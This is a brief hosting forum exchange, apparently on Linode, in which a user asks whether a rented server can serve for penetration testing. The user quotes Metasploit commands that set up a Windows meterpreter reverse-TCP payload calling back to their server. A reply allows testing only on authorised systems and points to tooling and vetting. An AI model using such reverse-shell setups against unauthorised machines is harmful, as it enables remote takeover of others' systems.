Can I use the server as a pentest server?
I have tried it ,but when using metasploit framework,and I cannot get the data back to my server when using
set payload windows/meterpreter_reverse_tcp
set LHOST my_server_ip
set LPORT 3333
and when I use the .exe file on the windows,but I cannot get the data back.
You can certainly use your Linode for Pen-testing, though there are a few ground rules.
We ask that you limit testing to your own server or those which you've been given permission test on.
Testing that causes performance issues to other Linode Customers or causes us to receive abuse complaints may be mitigated.
While I don't have much experience with Metasploit, I've used the Katoolin Package on my own Linode in the past and found it to be a pretty seamless install and would recommend checking it out as a possible alternative. I'll throw a link to some Metasploit documentation and the Katoolin Package below.
If Penetration Testing is part of your business or something that you plan on doing regularly, I recommend reaching out to our support team to see about getting vetted as a security researcher.